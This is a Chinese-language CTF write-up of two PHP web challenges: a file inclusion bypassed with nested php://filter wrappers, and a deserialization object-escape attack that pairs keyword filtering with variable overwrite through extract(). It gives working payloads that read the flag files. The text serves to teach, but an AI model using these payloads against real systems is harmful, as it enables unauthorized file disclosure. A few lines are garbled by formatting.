[BSidesCF 2020]Had a bad day
考点: php伪协议嵌套
启动环境:
其中包含两个按钮,选择猫和狗的图片:
此时的URL变为:http://xxx/index.php?category=meowers 观察url,猜测sql注入
其中包含有GET传参,尝试修改category传入的值,得到报错:
弹出include报错,那就是文件包含了
尝试获取index.php页面的源码:php://filter/read=convert.base64-encode/resource=index.php:
尝试了几次,发现不用加.php文件后缀,直接使用index:
得到源码:
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
查看其中的PHP代码:
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
源码分析:
- 通过GET方式传入变量category的值
- 传入的值中需包含woofers或meowers或index,才可以调用include(),包含传入的文件
猜测其存在flag.php页面(flag常常会放在这里):
查看网页源码,Can you read this flag?
提示需要读取flag,尝试继续使用php伪协议读取flag.php
php://filter/read=convert.base64-encode/resource=flag
但源码中说明需要包含woofers、meowers、index,所以查阅资料,php伪协议可以嵌套使用,即构造
php://filter/read=convert.base64-encode/meowers/resource=flag
Base64解码,得到flag
[安洵杯 2019]easy_serialize_php
1.考点
-
锻炼代码审计能力和学习
-
PHP反序列化
-
反序列化中的对象逃逸
首先回顾几个点:
序列化后的结果是一串字符串。
反序列化会解开序列化的字符串生成相应类型的数据。
如下代码示例,img是一个数组,下标分别是one和two,对应的值分别是flag,test。
<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"
$b = unserialize($a);
var_dump($b);
/*输出如下内容:
array(2) {
["one"]=>
string(4) "flag"
["two"]=>
string(4) "test"
}
*/
序列化部分:
经过serialize序列化后生成了相应的字符串: a:2:{s:3:“one”;s:4:“flag”;s:3:“two”;s:4:“test”;}
a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。
花括号中的s都表示string即字符串,
s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4
反序列化部分:
unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。
可见解序列化后由变量$b,接收了img数组。
序列化中每个字母的表示
分析题目源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}//把过滤的这些字符串替换为空
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
我把可以对应起来的代码放到了一起
$function = @$_GET['f'];
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
思路大概是:
- 我们要令img的值为base64编码之后的d0g3_f1ag.php也就是(ZDBnM19mMWFnLnBocA==)
- 但是我们无法直接控制img的值
- session数组经过序列化之后还经过了一遍过滤,形成了漏洞
- 通过这个漏洞我们可以令假的img的值变成真的
流程:
根据上面可以清楚,f是我们用get方法传参得到的变量并由$function接收。
$function发挥作用的代码块,在最下方的判断句。
咱们初步访问的时候f=highlight_file,
判断句中给了提示,那么f=phpinfo时,我们就看到了phpinfo的页面,phpinfo有很多配置项会显示。
我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。
所以可以猜测flag应该要从d0g3_f1ag.php拿
最下面有题是说让我们查看phpinfo,于是在phpinfo()里找到了
说明我们要想办法读取这个php文件
直接访问文件,发现无法访问
此时我们选择构造反序列化逃逸进行绕过
反序列化的对象逃逸问题一般分为两种
第一种为关键词数增加 例如: where->hacker,这样词数由五个增加到6个
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中
第一种情况比较好构造,直接构造多个关键词,这样就能逃出几个字符
第二种可以是通过键逃逸和值逃逸
源码中唯一可以读取的就是file_get_content()函数.当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密,所以我们先记住这个点,一会肯定要用
变量覆盖
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
最上面的filter函数是为了过滤用的,可以先继续往下看,到如下的时候。
我们可以发现unset把原来的session销毁了,然后又给session附上了新的值。最后调用了extract( P O S T ) ; 。 这 个 e x t r a c t ( _POST);。这个extract( POST);。这个extract(_POST);是可以进行变量覆盖的,也就是说原来的_SESSION会丢失。
PHP extract() 函数
本地举个例子:
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
可见最后SESSION只剩下了flag这个键。
继续往下有这样两行代码:
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
可见我们是否传入img_path参数,img参数还是会被附上一个值。
所以我们要想办法让这个img参数等于d0g3_f1ag.php的base64编码。因为有字符串的替换,能想到这里是键值逃逸。因为序列化好的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后数4个。并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。
<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));
可以看到两端代码执行结果是一样的,}后面的字符串就被丢弃了。
我们有了这个逃逸概念的话,就大概可以理解了。如果我们把
$_SESSION[‘img’] = base64_encode(‘guest_img.png’);这段代码的img属性放到花括号外边去,
然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。
那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空
payload
payload:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
ZDBnM19mMWFnLnBocA也就是d0g3_f1ag.php的base64加密。
s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA”;}这个肯定就是我们预期的那段序列化字符.
我们先本地调试一下,代码:
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump($_SESSION);
echo "<br/>";
//$serialize_info = filter(serialize($_SESSION));
var_dump( serialize($_SESSION) );
这段本地调试代码和题目中的步骤是一样的,我们传入POST参数:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
可以看到没过滤的时候是a:2:{s:7:“phpflag”;s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}
那么过滤掉php和flag之后这串字符串就会变成a:2:{s:7:"";s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}
这里,s:7:“和后面数7个字符配对,配到了”;s:54: 然后值是1。
中间img的键,值为ZDBnM19mMWFnLnBocA==。花括号后面的img原值都被抛弃。这里我们自己构造的img值就逃逸了出来。用这个payload;
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
查看源代码
将进行/d0g3_fllllllagbase64之后替换掉原来的base64
因为刚好都是20位。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
相关链接:[安洵杯 2019]easy_serialize_php
[安洵杯 2019]easy_serialize_php